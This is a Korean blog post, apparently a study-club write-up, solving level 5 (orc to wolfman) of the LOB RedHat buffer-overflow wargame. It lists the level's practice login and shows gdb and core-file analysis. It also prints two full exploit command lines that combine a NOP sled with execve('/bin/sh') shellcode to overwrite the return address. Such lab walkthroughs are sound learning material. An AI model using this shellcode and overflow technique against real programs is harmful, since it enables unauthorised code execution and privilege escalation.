혜랑's STORY

[LOB RedHat] Lv 5. orc -> wolfman 본문

2021 SISS 21기 활동/겨울방학 System

[LOB RedHat] Lv 5. orc -> wolfman

hyerang0125 2021. 2. 7. 17:11

문제를 풀기 위해 xshell로 로그인 해 주었다.

ID : orc / PW : cantata

역시 가장 먼저 존재하는 파일들을 알아보기 위해 ls -l 명령어를 실행하였다.

wolfman.c 파일의 내용을 확인해 보자.

Lv.4에서 등장한 egghunter에 buffer hunter가 추가된 것을 볼 수 있다. 여기서 buffer hunter는 코드상 버퍼를 초기화해준다. 따라서 버퍼 너머의 주소에 Lv.4의 풀이와 마찬가지로 쉘 코드를 넣고 주소를 연결시켜주면 될 것 같다.

gdb로 살펴본 스택 상황은 아래와 같다고 생각해 볼 수 있다.

buffer SFP RET(return)
40 4 4

따라서 RET의 마지막 주소값엔 "\xbf"가 있으면 된다. 버퍼의 시작 주소를 알아내기 위해 strcpy 함수의 인자로 buffer가 전달되는 부분에 bp를 걸고 실행해서 분석을 진행하였다.

실행 결과는 다음과 같다.

버퍼 너머의 주소인 \x90(nop)가 있는 아무곳이나 골라 공격 코드를 구성할 수 있다.

./cpwolfman `python -c 'print "A"*40 + "BBBB" +  "\x7c\xfa\xff\xbf" + "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" '`

정상적으로 쉘이 실행된다. 원본 파일에 공격을 시도해 보자.

뭐가 문제인지 쉘이 실행되지 않고 Illegal instruction 오류(?)가 났다...

 다시 주소를 찾아보기 위해 주소에 쓰레기 값을 넣고 실행시켜 보았다.

Segmentation fault가 발생하였고 core 파일이 생성되었다. core 파일을 분석해 보자.

다시 0x90909090의 주소 중 아무거나 골라서 공격 코드를 구성해 보자.

./wolfman `python -c 'print "A"*40 + "BBBB" +  "\x30\xfc\xff\xbf" + "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" '`

성공이다!